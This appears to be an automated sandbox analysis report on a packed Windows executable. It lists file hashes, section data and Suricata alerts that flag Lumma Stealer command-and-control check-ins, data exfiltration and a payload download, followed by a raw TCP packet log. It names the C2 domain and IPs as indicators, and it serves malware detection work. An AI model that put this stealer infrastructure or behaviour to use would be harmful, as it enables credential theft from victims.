SHA512:	679f83173542bb3490685c53eec897b28676cf7f3f52714db5d9d37507d2998d2bfeed1125dadbed19809cd97d803f006944bcd0ead6e5838aadc01b3b0e8250
SSDEEP:	49152:b7U028g8Lcse/gNuf5XFc8dSUylDRyioglMgH6qa:k8g8fe/gqcVlDRogue
TLSH:	8B85339DBC96AFBFF7AE587D14E2063451BFA1CB04257629BF084A544CA77BA3DC8004
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ug.............................@I...........@..........................pI......{....@.................................\@..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x894000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6755B9EA [Sun Dec 8 15:23:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9C2CAAAD3Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5405c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x24200	d29d3720decb2d20777b4680c2aff4de	False	0.9974927011245674	data	7.974526844691932	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x400	fe67bb2a9df3150b9c94de8bd81ed8a0	False	0.3603515625	data	5.186832724894366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	f89f2f28be6f3fc6a464feb82ace12f3	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a0000	0x200	a34c9b413e266689adbf01cfc6dc41d8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hkjfghfg	0x2f5000	0x19e000	0x19dc00	3b586a26cbb30d1615dd235d18528774	False	0.9947554758308157	data	7.952823803062777	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gtwwivgb	0x493000	0x1000	0x400	0fedb95fc9b9aba5bb14a378f93fb22a	False	0.7431640625	data	5.903518370153226	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x494000	0x3000	0x2200	4075b8d43d08e67bf043ce6d11e6dceb	False	0.06502757352941177	DOS executable (COM)	0.7290482240403235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T21:19:11.660083+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49718	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49717	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49717	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49715	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49714	104.21.48.1	443	TCP
2024-12-09T21:19:11.660083+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49714	104.21.48.1	443	TCP
2024-12-09T21:19:17.988560+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.7	53627	1.1.1.1	53	UDP
2024-12-09T21:19:19.383455+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49701	104.21.48.1	443	TCP
2024-12-09T21:19:19.383455+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	104.21.48.1	443	TCP
2024-12-09T21:19:20.395592+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49701	104.21.48.1	443	TCP
2024-12-09T21:19:20.395592+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	104.21.48.1	443	TCP
2024-12-09T21:19:21.810028+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49703	104.21.48.1	443	TCP
2024-12-09T21:19:21.810028+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	104.21.48.1	443	TCP
2024-12-09T21:19:22.846667+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49703	104.21.48.1	443	TCP
2024-12-09T21:19:22.846667+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	104.21.48.1	443	TCP
2024-12-09T21:19:25.875569+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49720	104.21.48.1	443	TCP
2024-12-09T21:19:25.875569+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49720	104.21.48.1	443	TCP
2024-12-09T21:19:28.329015+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49729	104.21.48.1	443	TCP
2024-12-09T21:19:28.329015+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49729	104.21.48.1	443	TCP
2024-12-09T21:19:29.059000+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49729	104.21.48.1	443	TCP
2024-12-09T21:19:30.754439+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49744	104.21.48.1	443	TCP
2024-12-09T21:19:30.754439+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49744	104.21.48.1	443	TCP
2024-12-09T21:19:30.758714+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	49744	104.21.48.1	443	TCP
2024-12-09T21:19:35.955179+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49748	104.21.48.1	443	TCP
2024-12-09T21:19:35.955179+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49748	104.21.48.1	443	TCP
2024-12-09T21:19:36.778444+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49748	104.21.48.1	443	TCP
2024-12-09T21:19:38.232907+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49751	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 21:19:11.660083055 CET	49674	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:11.675796986 CET	49675	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:11.785068989 CET	49672	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:12.738949060 CET	49677	443	192.168.2.7	20.50.201.200
Dec 9, 2024 21:19:13.113181114 CET	49677	443	192.168.2.7	20.50.201.200
Dec 9, 2024 21:19:13.535041094 CET	49671	443	192.168.2.7	204.79.197.203
Dec 9, 2024 21:19:13.863161087 CET	49677	443	192.168.2.7	20.50.201.200
Dec 9, 2024 21:19:15.363158941 CET	49677	443	192.168.2.7	20.50.201.200
Dec 9, 2024 21:19:18.137645960 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:18.137712955 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:18.137828112 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:18.163223982 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:18.163243055 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:18.348083973 CET	49677	443	192.168.2.7	20.50.201.200
Dec 9, 2024 21:19:19.383331060 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:19.383455038 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:19.387335062 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:19.387342930 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:19.387638092 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:19.435383081 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:19.435420036 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:19.435558081 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:20.395633936 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:20.395746946 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:20.395797968 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:20.397502899 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:20.397521019 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:20.397531033 CET	49701	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:20.397536993 CET	443	49701	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:20.488569975 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:20.488600969 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:20.488657951 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:20.490199089 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:20.490211964 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:21.269460917 CET	49674	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:21.285079002 CET	49675	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:21.394457102 CET	49672	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:21.809933901 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:21.810028076 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:21.811467886 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:21.811479092 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:21.811722040 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:21.813862085 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:21.813899994 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:21.813936949 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.846669912 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.846721888 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.846759081 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.846798897 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.846827984 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:22.846856117 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.846874952 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:22.846930027 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.846992970 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:22.847002029 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.854899883 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.854943037 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:22.854959011 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.871519089 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.871618032 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:22.871644974 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:22.925689936 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:22.966171980 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.019449949 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.019469976 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.042519093 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.042557955 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.042588949 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.042609930 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.042648077 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.042649984 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.042758942 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.070462942 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.070494890 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.070507050 CET	49703	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.070512056 CET	443	49703	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.144506931 CET	49671	443	192.168.2.7	204.79.197.203
Dec 9, 2024 21:19:23.351330996 CET	49714	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.351353884 CET	443	49714	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.351449966 CET	49714	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.351826906 CET	49714	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.351836920 CET	443	49714	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.596107960 CET	443	49714	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.596575975 CET	49715	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.596609116 CET	443	49715	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.596671104 CET	49715	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.597253084 CET	49715	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.597261906 CET	443	49715	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.841177940 CET	443	49715	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.841686010 CET	49716	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.841702938 CET	443	49716	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.841767073 CET	49716	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.842617035 CET	49716	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.842641115 CET	443	49716	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.842701912 CET	49716	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.954646111 CET	49717	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.954672098 CET	443	49717	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:23.954740047 CET	49717	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.955038071 CET	49717	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:23.955046892 CET	443	49717	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.199620962 CET	443	49717	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.200145960 CET	49718	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.200165987 CET	443	49718	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.200236082 CET	49718	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.200692892 CET	49718	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.200702906 CET	443	49718	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.300739050 CET	49677	443	192.168.2.7	20.50.201.200
Dec 9, 2024 21:19:24.441834927 CET	443	49718	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.442414999 CET	49719	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.442446947 CET	443	49719	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.442507029 CET	49719	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.442965984 CET	49719	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.443003893 CET	443	49719	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.443043947 CET	49719	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.468915939 CET	443	49700	104.98.116.138	192.168.2.7
Dec 9, 2024 21:19:24.469044924 CET	49700	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:24.660588980 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.660625935 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:24.660695076 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.661045074 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:24.661061049 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:25.875436068 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:25.875569105 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:26.011075020 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:26.011125088 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:26.011496067 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:26.012893915 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:26.013066053 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:26.013102055 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:26.013168097 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:26.013194084 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:26.939846039 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:26.939939022 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:26.940011978 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:26.940162897 CET	49720	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:26.940176010 CET	443	49720	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:27.118571997 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:27.118607998 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:27.118680000 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:27.118978977 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:27.118989944 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:28.328762054 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:28.329015017 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:28.330338955 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:28.330348015 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:28.330979109 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:28.332371950 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:28.332446098 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:28.332690954 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:29.059015989 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:29.059118986 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:29.059212923 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:29.059421062 CET	49729	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:29.059439898 CET	443	49729	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:29.519896030 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:29.519925117 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:29.520005941 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:29.520387888 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:29.520399094 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.754316092 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.754439116 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.755708933 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.755714893 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.756062984 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.757255077 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.757956982 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.758377075 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.758460045 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.758491039 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.758603096 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.758632898 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.758739948 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.758763075 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.758896112 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.758917093 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.758987904 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.759015083 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.759056091 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.759080887 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.759107113 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.759210110 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.759237051 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.803333998 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.803590059 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.803647041 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.803668976 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.847323895 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:30.847542048 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.847598076 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:30.895339012 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:32.275093079 CET	49700	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:32.275563955 CET	49746	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:32.275589943 CET	443	49746	104.98.116.138	192.168.2.7
Dec 9, 2024 21:19:32.275665045 CET	49746	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:32.276236057 CET	49746	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:19:32.276252031 CET	443	49746	104.98.116.138	192.168.2.7
Dec 9, 2024 21:19:32.396831036 CET	443	49700	104.98.116.138	192.168.2.7
Dec 9, 2024 21:19:34.541929007 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:34.541999102 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:34.542072058 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:34.557984114 CET	49744	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:34.557998896 CET	443	49744	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:34.569998026 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:34.570033073 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:34.570244074 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:34.571330070 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:34.571350098 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:35.955097914 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:35.955178976 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:35.956871033 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:35.956882000 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:35.957153082 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:35.968369007 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:35.968493938 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:35.968516111 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:36.207000971 CET	49677	443	192.168.2.7	20.50.201.200
Dec 9, 2024 21:19:36.778450966 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:36.778554916 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:36.778666019 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:36.778770924 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:36.778795004 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:36.778805971 CET	49748	443	192.168.2.7	104.21.48.1
Dec 9, 2024 21:19:36.778812885 CET	443	49748	104.21.48.1	192.168.2.7
Dec 9, 2024 21:19:36.779958963 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:36.899250031 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:36.899322987 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:36.899498940 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:37.018807888 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:38.232748985 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:38.232852936 CET	80	49751	185.215.113.16	192.168.2.7
